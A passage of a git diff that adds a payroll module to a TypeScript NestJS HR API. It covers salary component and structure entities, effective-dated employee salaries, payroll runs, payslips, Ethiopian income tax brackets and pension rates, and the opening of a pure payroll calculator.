ValidateNested, +} from "class-validator"; + +import { LocalizedTextDto } from "../../leave/dto/leave-type.dto"; +import { + EComponentCalculation, + EComponentType, +} from "../entities/salary-component.entity"; + +export class CreateSalaryComponentDto { + @ApiProperty({ maxLength: 32, example: "TRANSPORT" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiProperty({ enum: EComponentType }) + @IsEnum(EComponentType) + componentType!: EComponentType; + + @ApiPropertyOptional({ + enum: EComponentCalculation, + default: EComponentCalculation.FIXED, + }) + @IsOptional() + @IsEnum(EComponentCalculation) + calculation?: EComponentCalculation; + + @ApiPropertyOptional({ example: "1500.00" }) + @IsOptional() + @IsNumberString() + defaultAmount?: string | null; + + @ApiPropertyOptional({ + example: "0.1000", + description: "A fraction, not a percentage — 10% is 0.1000.", + }) + @IsOptional() + @IsNumberString() + defaultRate?: string | null; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isTaxable?: boolean; + + @ApiPropertyOptional({ + default: false, + description: + "Pension is on basic salary unless the contract makes an allowance pensionable.", + }) + @IsOptional() + @IsBoolean() + isPensionable?: boolean; + + @ApiPropertyOptional({ + example: "2200.00", + description: + "Flat cap on the exempt portion. Combined with taxExemptRateOfBasic the LOWER applies.", + }) + @IsOptional() + @IsNumberString() + taxExemptAmount?: string | null; + + @ApiPropertyOptional({ example: "0.2500" }) + @IsOptional() + @IsNumberString() + taxExemptRateOfBasic?: string | null; + + @ApiPropertyOptional({ + default: true, + description: "False for an employer contribution — a cost, not a deduction.", + }) + @IsOptional() + @IsBoolean() + affectsNetPay?: boolean; + + @ApiPropertyOptional({ maxLength: 64 }) + @IsOptional() + @IsString() + @MaxLength(64) + statuteReference?: string | null; + + @ApiPropertyOptional({ default: 100 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(1000) + sortOrder?: number; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isActive?: boolean; +} + +export class UpdateSalaryComponentDto extends PartialType(CreateSalaryComponentDto) {} + +export class StructureLineDto { + @ApiProperty({ format: "uuid" }) + @IsUUID() + salaryComponentId!: string; + + @ApiPropertyOptional({ description: "Overrides the component's default amount." }) + @IsOptional() + @IsNumberString() + amount?: string; + + @ApiPropertyOptional({ description: "Overrides the component's default rate." }) + @IsOptional() + @IsNumberString() + rate?: string; +} + +export class CreateSalaryStructureDto { + @ApiProperty({ maxLength: 32, example: "GRADE-7" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiPropertyOptional({ type: LocalizedTextDto }) + @IsOptional() + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + description?: LocalizedTextDto; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ type: [StructureLineDto] }) + @IsOptional() + @IsArray() + @ValidateNested({ each: true }) + @Type(() => StructureLineDto) + lines?: StructureLineDto[]; +} + +export class SetStructureLinesDto { + @ApiProperty({ type: [StructureLineDto] }) + @IsArray() + @ValidateNested({ each: true }) + @Type(() => StructureLineDto) + lines!: StructureLineDto[]; +} + +export class AssignSalaryDto { + @ApiProperty({ format: "uuid", description: "iam.employees.id" }) + @IsUUID() + employeeId!: string; + + @ApiProperty({ example: "12000.00" }) + @IsNumberString() + basicSalary!: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + salaryStructureId?: string; + + @ApiPropertyOptional({ default: "ETB" }) + @IsOptional() + @IsString() + @MaxLength(3) + currency?: string; + + @ApiProperty({ + format: "date", + description: + "The previous salary is closed the day before this. Payroll already run " + + "for an earlier month keeps resolving what applied then.", + }) + @IsDateString() + effectiveFrom!: string; + + @ApiPropertyOptional({ maxLength: 256 }) + @IsOptional() + @IsString() + @MaxLength(256) + reason?: string; +} + +export class CreatePayrollRunDto { + @ApiProperty({ format: "date" }) + @IsDateString() + periodStart!: string; + + @ApiProperty({ format: "date" }) + @IsDateString() + periodEnd!: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + paymentDate?: string; + + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + note?: string; +} + +export class MarkPaidDto { + @ApiPropertyOptional({ format: "date", description: "Defaults to today." }) + @IsOptional() + @IsDateString() + paymentDate?: string; +} diff --git a/apps/edr-hr-api/src/modules/payroll/entities/employee-salary.entity.ts b/apps/edr-hr-api/src/modules/payroll/entities/employee-salary.entity.ts new file mode 100644 index 000000000..c34ca1076 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/entities/employee-salary.entity.ts @@ -0,0 +1,60 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { SalaryStructure } from "./salary-structure.entity"; + +/** + * What an employee is paid, effective-dated. + * + * A raise closes the previous row rather than editing it. Payroll for a past + * month must resolve the salary that applied THEN — editing in place would + * silently restate history that has already been paid, reported and taxed. + */ +@Entity({ schema: "hr", name: "employee_salaries" }) +@Index("idx_employee_salaries_employee", ["employeeId", "effectiveFrom"]) +export class EmployeeSalary extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + @Column({ type: "uuid", name: "salary_structure_id", nullable: true }) + salaryStructureId?: string | null; + + @ManyToOne(() => SalaryStructure) + @JoinColumn({ name: "salary_structure_id" }) + salaryStructure?: SalaryStructure; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "basic_salary" }) + basicSalary!: string; + + @Column({ type: "varchar", length: 3, name: "currency", default: "ETB" }) + currency!: string; + + @Column({ type: "date", name: "effective_from" }) + effectiveFrom!: string; + + /** Null = current. */ + @Column({ type: "date", name: "effective_to", nullable: true }) + effectiveTo?: string | null; + + @Column({ type: "varchar", length: 256, name: "reason", nullable: true }) + reason?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/payroll/entities/payroll-run.entity.ts b/apps/edr-hr-api/src/modules/payroll/entities/payroll-run.entity.ts new file mode 100644 index 000000000..35a4d6a91 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/entities/payroll-run.entity.ts @@ -0,0 +1,295 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + CreateDateColumn, + Entity, + Index, + JoinColumn, + ManyToOne, + OneToMany, + PrimaryGeneratedColumn, +} from "typeorm"; + +export enum EPayrollRunStatus { + /** Created, nothing computed. */ + DRAFT = "DRAFT", + /** Payslips exist. Recalculating is still allowed and replaces them. */ + CALCULATED = "CALCULATED", + /** Signed off. The numbers are now the record; recalculation is refused. */ + APPROVED = "APPROVED", + PAID = "PAID", + CANCELLED = "CANCELLED", +} + +@Entity({ schema: "hr", name: "payroll_runs" }) +@Index("idx_payroll_runs_org", ["organizationId", "periodStart"]) +export class PayrollRun extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "date", name: "period_start" }) + periodStart!: string; + + @Column({ type: "date", name: "period_end" }) + periodEnd!: string; + + @Column({ type: "date", name: "payment_date", nullable: true }) + paymentDate?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: EPayrollRunStatus.DRAFT, + }) + status!: EPayrollRunStatus; + + @Column({ type: "varchar", length: 512, name: "note", nullable: true }) + note?: string | null; + + @Column({ type: "integer", name: "employee_count", default: 0 }) + employeeCount!: number; + + @Column({ type: "numeric", precision: 16, scale: 2, name: "total_gross", default: 0 }) + totalGross!: string; + + @Column({ + type: "numeric", + precision: 16, + scale: 2, + name: "total_deductions", + default: 0, + }) + totalDeductions!: string; + + @Column({ type: "numeric", precision: 16, scale: 2, name: "total_net", default: 0 }) + totalNet!: string; + + @Column({ + type: "numeric", + precision: 16, + scale: 2, + name: "total_income_tax", + default: 0, + }) + totalIncomeTax!: string; + + @Column({ + type: "numeric", + precision: 16, + scale: 2, + name: "total_pension_employee", + default: 0, + }) + totalPensionEmployee!: string; + + @Column({ + type: "numeric", + precision: 16, + scale: 2, + name: "total_pension_employer", + default: 0, + }) + totalPensionEmployer!: string; + + @Column({ type: "timestamptz", name: "calculated_at", nullable: true }) + calculatedAt?: Date | null; + + @Column({ type: "uuid", name: "approved_by_employee_id", nullable: true }) + approvedByEmployeeId?: string | null; + + @Column({ type: "timestamptz", name: "approved_at", nullable: true }) + approvedAt?: Date | null; + + @OneToMany(() => Payslip, (payslip) => payslip.payrollRun) + payslips?: Payslip[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** + * One employee's pay for one period. + * + * Every figure is stored, not derived. After approval these ARE the numbers + * paid, taxed and contributed — recomputing on read would restate history the + * first time anything upstream changed. + */ +@Entity({ schema: "hr", name: "payslips" }) +@Index("idx_payslips_employee", ["employeeId"]) +export class Payslip { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "payroll_run_id" }) + payrollRunId!: string; + + @ManyToOne(() => PayrollRun, (run) => run.payslips) + @JoinColumn({ name: "payroll_run_id" }) + payrollRun?: PayrollRun; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + /** Copied at calculation — a payslip must stay readable if the profile goes. */ + @Column({ type: "varchar", length: 32, name: "employee_number", nullable: true }) + employeeNumber?: string | null; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "basic_salary", default: 0 }) + basicSalary!: string; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "gross_pay", default: 0 }) + grossPay!: string; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "taxable_income", + default: 0, + }) + taxableIncome!: string; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "pensionable_income", + default: 0, + }) + pensionableIncome!: string; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "income_tax", default: 0 }) + incomeTax!: string; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "pension_employee", + default: 0, + }) + pensionEmployee!: string; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "pension_employer", + default: 0, + }) + pensionEmployer!: string; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "total_deductions", + default: 0, + }) + totalDeductions!: string; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "net_pay", default: 0 }) + netPay!: string; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "worked_days", nullable: true }) + workedDays?: string | null; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "absent_days", nullable: true }) + absentDays?: string | null; + + @Column({ + type: "numeric", + precision: 8, + scale: 2, + name: "overtime_hours", + default: 0, + }) + overtimeHours!: string; + + @Column({ type: "varchar", length: 16, name: "salary_mode", nullable: true }) + salaryMode?: string | null; + + @Column({ type: "varchar", length: 64, name: "bank_account", nullable: true }) + bankAccount?: string | null; + + @OneToMany(() => PayslipLine, (line) => line.payslip) + lines?: PayslipLine[]; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} + +/** + * One component on one payslip. + * + * The component's code and name are COPIED rather than joined, so a payslip + * still reads correctly after a component is renamed or retired. `basis` + * records how the figure was arrived at — "7% of 12,000.00" — which is what + * turns a payslip from a number into an explanation. + */ +@Entity({ schema: "hr", name: "payslip_lines" }) +@Index("idx_payslip_lines_payslip", ["payslipId"]) +export class PayslipLine { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "payslip_id" }) + payslipId!: string; + + @ManyToOne(() => Payslip, (payslip) => payslip.lines) + @JoinColumn({ name: "payslip_id" }) + payslip?: Payslip; + + @Column({ type: "uuid", name: "salary_component_id", nullable: true }) + salaryComponentId?: string | null; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "varchar", length: 24, name: "component_type" }) + componentType!: string; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "amount" }) + amount!: string; + + /** The part of `amount` that entered taxable income, after any exemption. */ + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "taxable_amount", + default: 0, + }) + taxableAmount!: string; + + @Column({ type: "boolean", name: "is_taxable", default: true }) + isTaxable!: boolean; + + @Column({ type: "boolean", name: "is_pensionable", default: false }) + isPensionable!: boolean; + + @Column({ type: "boolean", name: "affects_net_pay", default: true }) + affectsNetPay!: boolean; + + @Column({ type: "varchar", length: 256, name: "basis", nullable: true }) + basis?: string | null; + + @Column({ type: "smallint", name: "sort_order", default: 100 }) + sortOrder!: number; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} diff --git a/apps/edr-hr-api/src/modules/payroll/entities/salary-component.entity.ts b/apps/edr-hr-api/src/modules/payroll/entities/salary-component.entity.ts new file mode 100644 index 000000000..fac17568e --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/entities/salary-component.entity.ts @@ -0,0 +1,125 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +export enum EComponentType { + /** The base figure everything else is computed from. Exactly one per payslip. */ + BASIC = "BASIC", + ALLOWANCE = "ALLOWANCE", + DEDUCTION = "DEDUCTION", + /** Paid by the employer on top of gross — pension's 11%, not the employee's 7%. */ + EMPLOYER_CONTRIBUTION = "EMPLOYER_CONTRIBUTION", +} + +export enum EComponentCalculation { + FIXED = "FIXED", + PERCENT_OF_BASIC = "PERCENT_OF_BASIC", + PERCENT_OF_GROSS = "PERCENT_OF_GROSS", + PERCENT_OF_TAXABLE = "PERCENT_OF_TAXABLE", + /** Computed by the engine from a statutory table — income tax, pension. */ + STATUTORY = "STATUTORY", +} + +/** + * One line that can appear on a payslip. + * + * `isTaxable` and `isPensionable` are separate flags on purpose: under Ethiopian + * practice they do not move together. A transport allowance is pensionable only + * if the contract says so, and is tax-exempt up to a threshold, while overtime + * is fully taxable and not pensionable at all. + */ +@Entity({ schema: "hr", name: "salary_components" }) +@Index("idx_salary_components_organization_id", ["organizationId"]) +export class SalaryComponent extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "varchar", length: 24, name: "component_type" }) + componentType!: EComponentType; + + @Column({ + type: "varchar", + length: 24, + name: "calculation", + default: EComponentCalculation.FIXED, + }) + calculation!: EComponentCalculation; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "default_amount", + nullable: true, + }) + defaultAmount?: string | null; + + /** A fraction, not a percentage: 7% is `0.0700`. */ + @Column({ + type: "numeric", + precision: 7, + scale: 4, + name: "default_rate", + nullable: true, + }) + defaultRate?: string | null; + + @Column({ type: "boolean", name: "is_taxable", default: true }) + isTaxable!: boolean; + + @Column({ type: "boolean", name: "is_pensionable", default: false }) + isPensionable!: boolean; + + /** + * A flat cap on the exempt portion. Combined with `taxExemptRateOfBasic` the + * LOWER of the two applies, which is how the transport allowance exemption is + * written — the lesser of 2,200 birr and a quarter of basic salary. + */ + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "tax_exempt_amount", + nullable: true, + }) + taxExemptAmount?: string | null; + + @Column({ + type: "numeric", + precision: 7, + scale: 4, + name: "tax_exempt_rate_of_basic", + nullable: true, + }) + taxExemptRateOfBasic?: string | null; + + /** + * False for an employer contribution: it is a cost to the employer and is + * reported, but it never moves the employee's net pay. + */ + @Column({ type: "boolean", name: "affects_net_pay", default: true }) + affectsNetPay!: boolean; + + @Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true }) + statuteReference?: string | null; + + @Column({ type: "smallint", name: "sort_order", default: 100 }) + sortOrder!: number; + + @Column({ type: "boolean", name: "is_active", default: true }) + isActive!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/payroll/entities/salary-structure.entity.ts b/apps/edr-hr-api/src/modules/payroll/entities/salary-structure.entity.ts new file mode 100644 index 000000000..9d4ad5545 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/entities/salary-structure.entity.ts @@ -0,0 +1,85 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + CreateDateColumn, + Entity, + Index, + JoinColumn, + ManyToOne, + OneToMany, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { SalaryComponent } from "./salary-component.entity"; + +/** A named set of components, usually one per grade. */ +@Entity({ schema: "hr", name: "salary_structures" }) +@Index("idx_salary_structures_organization_id", ["organizationId"]) +export class SalaryStructure extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "jsonb", name: "description", nullable: true }) + description?: { am: string; en: string } | null; + + /** Optional link to the grade this structure belongs to. */ + @Column({ type: "uuid", name: "job_title_id", nullable: true }) + jobTitleId?: string | null; + + @Column({ type: "boolean", name: "is_active", default: true }) + isActive!: boolean; + + @OneToMany(() => SalaryStructureLine, (line) => line.salaryStructure) + lines?: SalaryStructureLine[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** + * A component inside a structure, with the figure to use. + * + * `amount` or `rate` override the component's default. Neither set means the + * component's own default applies — useful for statutory lines, where the figure + * comes from a table rather than from either. + */ +@Entity({ schema: "hr", name: "salary_structure_lines" }) +export class SalaryStructureLine { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "salary_structure_id" }) + salaryStructureId!: string; + + @ManyToOne(() => SalaryStructure, (structure) => structure.lines) + @JoinColumn({ name: "salary_structure_id" }) + salaryStructure?: SalaryStructure; + + @Column({ type: "uuid", name: "salary_component_id" }) + salaryComponentId!: string; + + @ManyToOne(() => SalaryComponent) + @JoinColumn({ name: "salary_component_id" }) + salaryComponent?: SalaryComponent; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "amount", nullable: true }) + amount?: string | null; + + @Column({ type: "numeric", precision: 7, scale: 4, name: "rate", nullable: true }) + rate?: string | null; + + @CreateDateColumn({ type: "timestamptz", name: "created_at" }) + createdAt!: Date; +} diff --git a/apps/edr-hr-api/src/modules/payroll/entities/statutory.entity.ts b/apps/edr-hr-api/src/modules/payroll/entities/statutory.entity.ts new file mode 100644 index 000000000..4fb5fc222 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/entities/statutory.entity.ts @@ -0,0 +1,89 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +/** + * One band of Schedule B employment income tax. + * + * Effective-dated, and `organizationId` is nullable so a national schedule can + * be seeded once and shared. Ethiopia has revised these bands before and will + * again; a payslip recomputed under a schedule later than the month it belongs + * to is simply the wrong number, so the engine always resolves by date. + * + * The `deduction` column is the standard Ethiopian shortcut: rather than taxing + * each band separately, tax is `income × rate − deduction`, where the deduction + * is precomputed so the result matches band-by-band accumulation exactly. + */ +@Entity({ schema: "hr", name: "income_tax_brackets" }) +@Index("idx_tax_brackets_effective", ["effectiveFrom", "lowerBound"]) +export class IncomeTaxBracket extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + /** Null = national, applying to every organization. */ + @Column({ type: "uuid", name: "organization_id", nullable: true }) + organizationId?: string | null; + + @Column({ type: "date", name: "effective_from" }) + effectiveFrom!: string; + + @Column({ type: "date", name: "effective_to", nullable: true }) + effectiveTo?: string | null; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "lower_bound" }) + lowerBound!: string; + + /** Null = the top band, unbounded. */ + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "upper_bound", + nullable: true, + }) + upperBound?: string | null; + + @Column({ type: "numeric", precision: 7, scale: 4, name: "rate" }) + rate!: string; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "deduction", default: 0 }) + deduction!: string; + + @Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true }) + statuteReference?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; +} + +/** Pension and any other statutory figure expressed as a rate. */ +@Entity({ schema: "hr", name: "statutory_rates" }) +@Index("idx_statutory_rates_code", ["code", "effectiveFrom"]) +export class StatutoryRate extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id", nullable: true }) + organizationId?: string | null; + + /** e.g. `PENSION_EMPLOYEE`, `PENSION_EMPLOYER`. */ + @Column({ type: "varchar", length: 48, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + @Column({ type: "numeric", precision: 7, scale: 4, name: "rate" }) + rate!: string; + + @Column({ type: "date", name: "effective_from" }) + effectiveFrom!: string; + + @Column({ type: "date", name: "effective_to", nullable: true }) + effectiveTo?: string | null; + + @Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true }) + statuteReference?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/payroll/payroll.module.ts b/apps/edr-hr-api/src/modules/payroll/payroll.module.ts new file mode 100644 index 000000000..d9c064fb7 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/payroll.module.ts @@ -0,0 +1,70 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { SalaryComponent } from "./entities/salary-component.entity"; +import { + SalaryStructure, + SalaryStructureLine, +} from "./entities/salary-structure.entity"; +import { EmployeeSalary } from "./entities/employee-salary.entity"; +import { + IncomeTaxBracket, + StatutoryRate, +} from "./entities/statutory.entity"; +import { + PayrollRun, + Payslip, + PayslipLine, +} from "./entities/payroll-run.entity"; +import { + EmployeeSalariesRepository, + SalaryComponentsRepository, + SalaryStructuresRepository, +} from "./repositories/payroll.repository"; +import { TaxService } from "./services/tax.service"; +import { PayrollCalculatorService } from "./services/payroll-calculator.service"; +import { PayrollConfigService } from "./services/payroll-config.service"; +import { PayrollRunsService } from "./services/payroll-runs.service"; +import { PayrollConfigController } from "./controllers/payroll-config.controller"; +import { PayrollRunsController } from "./controllers/payroll-runs.controller"; +import { EmployeesModule } from "../employees/employees.module"; +import { AttendanceModule } from "../attendance/attendance.module"; +import { LeaveModule } from "../leave/leave.module"; + +/** + * Module 3.4 Payroll. + * + * Depends on attendance (unpaid absence, approved overtime) and leave (the + * working week, which decides how many days a period holds). It prices what + * those modules record rather than recording anything about time itself. + */ +@Module({ + imports: [ + TypeOrmModule.forFeature([ + SalaryComponent, + SalaryStructure, + SalaryStructureLine, + EmployeeSalary, + IncomeTaxBracket, + StatutoryRate, + PayrollRun, + Payslip, + PayslipLine, + ]), + EmployeesModule, + AttendanceModule, + LeaveModule, + ], + controllers: [PayrollConfigController, PayrollRunsController], + providers: [ + SalaryComponentsRepository, + SalaryStructuresRepository, + EmployeeSalariesRepository, + TaxService, + PayrollCalculatorService, + PayrollConfigService, + PayrollRunsService, + ], + exports: [PayrollRunsService, PayrollConfigService, TaxService], +}) +export class PayrollModule {} diff --git a/apps/edr-hr-api/src/modules/payroll/repositories/payroll.repository.ts b/apps/edr-hr-api/src/modules/payroll/repositories/payroll.repository.ts new file mode 100644 index 000000000..cb75a0325 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/repositories/payroll.repository.ts @@ -0,0 +1,126 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { IsNull, Repository } from "typeorm"; + +import { SalaryComponent } from "../entities/salary-component.entity"; +import { + SalaryStructure, + SalaryStructureLine, +} from "../entities/salary-structure.entity"; +import { EmployeeSalary } from "../entities/employee-salary.entity"; + +@Injectable() +export class SalaryComponentsRepository extends BaseRepository { + constructor( + @InjectRepository(SalaryComponent) repository: Repository, + ) { + super(repository); + } + + findByCode(organizationId: string, code: string): Promise { + return this.repository.findOne({ where: { organizationId, code } }); + } + + findAllFor(organizationId: string | null): Promise { + return this.repository.find({ + where: organizationId ? { organizationId } : {}, + order: { sortOrder: "ASC", code: "ASC" }, + }); + } + + findActive(organizationId: string): Promise { + return this.repository.find({ + where: { organizationId, isActive: true }, + order: { sortOrder: "ASC" }, + }); + } +} + +@Injectable() +export class SalaryStructuresRepository extends BaseRepository { + constructor( + @InjectRepository(SalaryStructure) repository: Repository, + ) { + super(repository); + } + + findByCode(organizationId: string, code: string): Promise { + return this.repository.findOne({ where: { organizationId, code } }); + } + + findAllFor(organizationId: string | null): Promise { + return this.repository.find({ + where: organizationId ? { organizationId } : {}, + order: { code: "ASC" }, + }); + } + + findWithLines(id: string): Promise { + return this.repository.findOne({ + where: { id }, + relations: { lines: { salaryComponent: true } }, + }); + } +} + +@Injectable() +export class EmployeeSalariesRepository extends BaseRepository { + constructor( + @InjectRepository(EmployeeSalary) repository: Repository, + ) { + super(repository); + } + + findOpenFor(employeeId: string): Promise { + return this.repository.findOne({ + where: { employeeId, effectiveTo: IsNull() }, + relations: { salaryStructure: true }, + }); + } + + /** + * The salary in force on a date. + * + * Payroll for a past month must resolve what applied THEN. Ordered newest + * first so a later record supersedes an earlier open one even if the earlier + * was never closed. + */ + findOnDate(employeeId: string, date: string): Promise { + return this.repository + .createQueryBuilder("salary") + .leftJoinAndSelect("salary.salaryStructure", "structure") + .where("salary.employee_id = :employeeId", { employeeId }) + .andWhere("salary.effective_from <= :date", { date }) + .andWhere("(salary.effective_to IS NULL OR salary.effective_to >= :date)", { + date, + }) + .orderBy("salary.effectiveFrom", "DESC") + .getOne(); + } + + history(employeeId: string): Promise { + return this.repository.find({ + where: { employeeId }, + relations: { salaryStructure: true }, + order: { effectiveFrom: "DESC" }, + }); + } + + /** Everyone with a salary in force on a date — the payroll population. */ + findPayableOn(organizationId: string, date: string): Promise { + return this.repository + .createQueryBuilder("salary") + .leftJoinAndSelect("salary.salaryStructure", "structure") + .where("salary.organization_id = :organizationId", { organizationId }) + .andWhere("salary.effective_from <= :date", { date }) + .andWhere("(salary.effective_to IS NULL OR salary.effective_to >= :date)", { + date, + }) + .orderBy("salary.employeeId", "ASC") + .addOrderBy("salary.effectiveFrom", "DESC") + .getMany(); + } +} + +export { SalaryStructureLine }; diff --git a/apps/edr-hr-api/src/modules/payroll/services/payroll-calculator.service.ts b/apps/edr-hr-api/src/modules/payroll/services/payroll-calculator.service.ts new file mode 100644 index 000000000..54cfdc128 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/services/payroll-calculator.service.ts @@ -0,0 +1,356 @@ +import { Injectable } from "@nestjs/common"; + +import { + EComponentCalculation, + EComponentType, + SalaryComponent, +} from "../entities/salary-component.entity"; +import { IncomeTaxBracket } from "../entities/statutory.entity"; +import { TaxService, round2 } from "./tax.service"; +import { RESERVED_CODES } from "../statutory-payroll"; + +export interface ComponentInput { + component: SalaryComponent; + /** Overrides the component default, from the structure line. */ + amount?: string | null; + rate?: string | null; +} + +export interface CalculationInput { + basicSalary: number; + components: ComponentInput[]; + brackets: IncomeTaxBracket[]; + pensionEmployeeRate: number; + pensionEmployerRate: number; + /** Money earned from approved overtime claims, already priced by 3.3. */ + overtimePay: number; + overtimeHours: number; + /** Unpaid absence, as a fraction of the period. 0 = full pay. */ + absenceDeductionRate: number; + isPensionEligible: boolean; +} + +export interface CalculatedLine { + code: string; + name: { am: string; en: string }; + componentType: EComponentType; + salaryComponentId: string | null; + amount: number; + taxableAmount: number; + isTaxable: boolean; + isPensionable: boolean; + affectsNetPay: boolean; + basis: string | null; + sortOrder: number; +} + +export interface CalculationResult { + lines: CalculatedLine[]; + basicSalary: number; + grossPay: number; + taxableIncome: number; + pensionableIncome: number; + incomeTax: number; + pensionEmployee: number; + pensionEmployer: number; + totalDeductions: number; + netPay: number; +} + +/** + * The payroll calculation, as a pure function of its inputs. + * + * Nothing here reads the database or the clock. That is deliberate: payroll is + * the one place where being wrong is expensive and provable, and a pure + * calculator can be checked against a worked example by hand. + * + * Order is fixed and matters: + * 1. earnings — basic, allowances, overtime + * 2. taxable income — earnings less each component's exemption + * 3. pension — on pensionable earnings only, and only if eligible + * 4. income tax — on taxable income AFTER the employee's pension is removed + * 5. other deductions + * 6. net pay + * + * Step 4 is the one people get wrong. The employee's pension contribution is + * deductible before employment income tax is computed; taxing gross 